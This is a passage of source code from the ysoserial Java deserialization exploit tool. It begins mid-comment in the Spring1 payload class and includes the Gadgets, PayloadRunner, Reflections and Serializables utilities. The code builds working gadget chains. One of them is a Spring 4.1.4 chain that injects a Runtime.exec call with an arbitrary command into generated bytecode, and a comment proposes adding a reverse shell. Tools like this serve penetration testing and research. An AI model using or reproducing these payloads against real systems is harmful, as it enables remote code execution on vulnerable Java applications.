| AnnotationInvocationHandler.invoke() 38 | HashMap.get() 39 | Method.invoke() 40 | TemplatesImpl.newTransformer() 41 | TemplatesImpl.getTransletInstance() 42 | TemplatesImpl.defineTransletClasses() 43 | TemplatesImpl.TransletClassLoader.defineClass() 44 | Pwner*(Javassist-generated). 45 | Runtime.exec() 46 | */ 47 | 48 | @SuppressWarnings({"restriction", "rawtypes"}) 49 | @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) 50 | public class Spring1 extends PayloadRunner implements ObjectPayload { 51 | 52 | public Object getObject(final String command) throws Exception { 53 | final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); 54 | 55 | final ObjectFactory objectFactoryProxy = 56 | Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); 57 | 58 | final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 59 | Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") 60 | .newInstance(objectFactoryProxy), Type.class, Templates.class); 61 | 62 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 63 | Gadgets.createMap("getType", typeTemplatesProxy), 64 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 65 | 66 | final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); 67 | final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); 68 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 69 | 70 | return mitp; 71 | } 72 | 73 | public static void main(final String[] args) throws Exception { 74 | PayloadRunner.run(Spring1.class, args); 75 | } 76 | 77 | } 78 | 79 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Target(ElementType.TYPE) 9 | @Retention(RetentionPolicy.RUNTIME) 10 | public @interface Dependencies { 11 | String[] value() default {}; 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | 8 | public class ClassFiles { 9 | public static String classAsFile(final Class clazz) { 10 | return classAsFile(clazz, true); 11 | } 12 | 13 | public static String classAsFile(final Class clazz, boolean suffix) { 14 | String str; 15 | if (clazz.getEnclosingClass() == null) { 16 | str = clazz.getName().replace(".", "/"); 17 | } else { 18 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 19 | } 20 | if (suffix) { 21 | str += ".class"; 22 | } 23 | return str; 24 | } 25 | 26 | public static byte[] classAsBytes(final Class clazz) { 27 | try { 28 | final byte[] buffer = new byte[1024]; 29 | final String file = classAsFile(clazz); 30 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 31 | if (in == null) { 32 | throw new IOException("couldn't find '" + file + "'"); 33 | } 34 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 35 | int len; 36 | while ((len = in.read(buffer)) != -1) { 37 | out.write(buffer, 0, len); 38 | } 39 | return out.toByteArray(); 40 | } catch (IOException e) { 41 | throw new RuntimeException(e); 42 | } 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/Gadgets.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.Serializable; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.InvocationHandler; 6 | import java.lang.reflect.Proxy; 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | import javassist.ClassClassPath; 11 | import javassist.ClassPool; 12 | import javassist.CtClass; 13 | 14 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 15 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 16 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 17 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 18 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 19 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 20 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 21 | 22 | /* 23 | * utility generator functions for common jdk-only gadgets 24 | */ 25 | @SuppressWarnings("restriction") 26 | public class Gadgets { 27 | private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 28 | 29 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 30 | private static final long serialVersionUID = -5971610431559700674L; 31 | 32 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} 33 | 34 | @Override 35 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} 36 | } 37 | 38 | // required to make TemplatesImpl happy 39 | public static class Foo implements Serializable { 40 | private static final long serialVersionUID = 8207363842866235160L; 41 | } 42 | 43 | public static T createMemoitizedProxy(final Map map, final Class iface, 44 | final Class ... ifaces) throws Exception { 45 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 46 | } 47 | 48 | public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { 49 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 50 | } 51 | 52 | public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { 53 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 54 | allIfaces[0] = iface; 55 | if (ifaces.length > 0) { 56 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 57 | } 58 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); 59 | } 60 | 61 | public static Map createMap(final String key, final Object val) { 62 | final Map map = new HashMap(); 63 | map.put(key,val); 64 | return map; 65 | } 66 | 67 | public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { 68 | final TemplatesImpl templates = new TemplatesImpl(); 69 | 70 | // use template gadget class 71 | ClassPool pool = ClassPool.getDefault(); 72 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 73 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 74 | // run command in static initializer 75 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 76 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); 77 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 78 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 79 | 80 | final byte[] classBytes = clazz.toBytecode(); 81 | 82 | // inject class bytes into instance 83 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 84 | classBytes, 85 | ClassFiles.classAsBytes(Foo.class)}); 86 | 87 | // required to make TemplatesImpl happy 88 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 89 | Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 90 | return templates; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/PayloadRunner.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import static ysoserial.payloads.util.Serializables.deserialize; 4 | import static ysoserial.payloads.util.Serializables.serialize; 5 | 6 | import java.util.concurrent.Callable; 7 | 8 | import ysoserial.ExecBlockingSecurityManager; 9 | import ysoserial.payloads.ObjectPayload; 10 | 11 | /* 12 | * utility class for running exploits locally from command line 13 | */ 14 | @SuppressWarnings("unused") 15 | public class PayloadRunner { 16 | public static void run(final Class> clazz, final String[] args) throws Exception { 17 | // ensure payload generation doesn't throw an exception 18 | byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable(){ 19 | public byte[] call() throws Exception { 20 | final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; 21 | 22 | System.out.println("generating payload object(s) for command: '" + command + "'"); 23 | 24 | final Object objBefore = clazz.newInstance().getObject(command); 25 | 26 | System.out.println("serializing payload"); 27 | 28 | return serialize(objBefore); 29 | }}); 30 | 31 | try { 32 | System.out.println("deserializing payload"); 33 | final Object objAfter = deserialize(serialized); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Field; 5 | 6 | public class Reflections { 7 | 8 | public static Field getField(final Class clazz, final String fieldName) throws Exception { 9 | Field field = clazz.getDeclaredField(fieldName); 10 | if (field == null && clazz.getSuperclass() != null) { 11 | field = getField(clazz.getSuperclass(), fieldName); 12 | } 13 | field.setAccessible(true); 14 | return field; 15 | } 16 | 17 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 18 | final Field field = getField(obj.getClass(), fieldName); 19 | field.set(obj, value); 20 | } 21 | 22 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 23 | final Field field = getField(obj.getClass(), fieldName); 24 | return field.get(obj); 25 | } 26 | 27 | public static Constructor getFirstCtor(final String name) throws Exception { 28 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 29 | ctor.setAccessible(true); 30 | return ctor; 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/Serializables.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | import java.io.ObjectInputStream; 8 | import java.io.ObjectOutputStream; 9 | import java.io.OutputStream; 10 | 11 | public class Serializables { 12 | 13 | public static byte[] serialize(final Object obj) throws IOException { 14 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 15 | serialize(obj, out); 16 | return out.toByteArray(); 17 | } 18 | 19 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 20 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 21 | objOut.writeObject(obj); 22 | } 23 | 24 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 25 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 26 | return deserialize(in); 27 | } 28 | 29 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 30 | final ObjectInputStream objIn = new ObjectInputStream(in); 31 | return objIn.readObject(); 32 | } 33 | 34 | } 35 | --------------------------------------------------------------------------------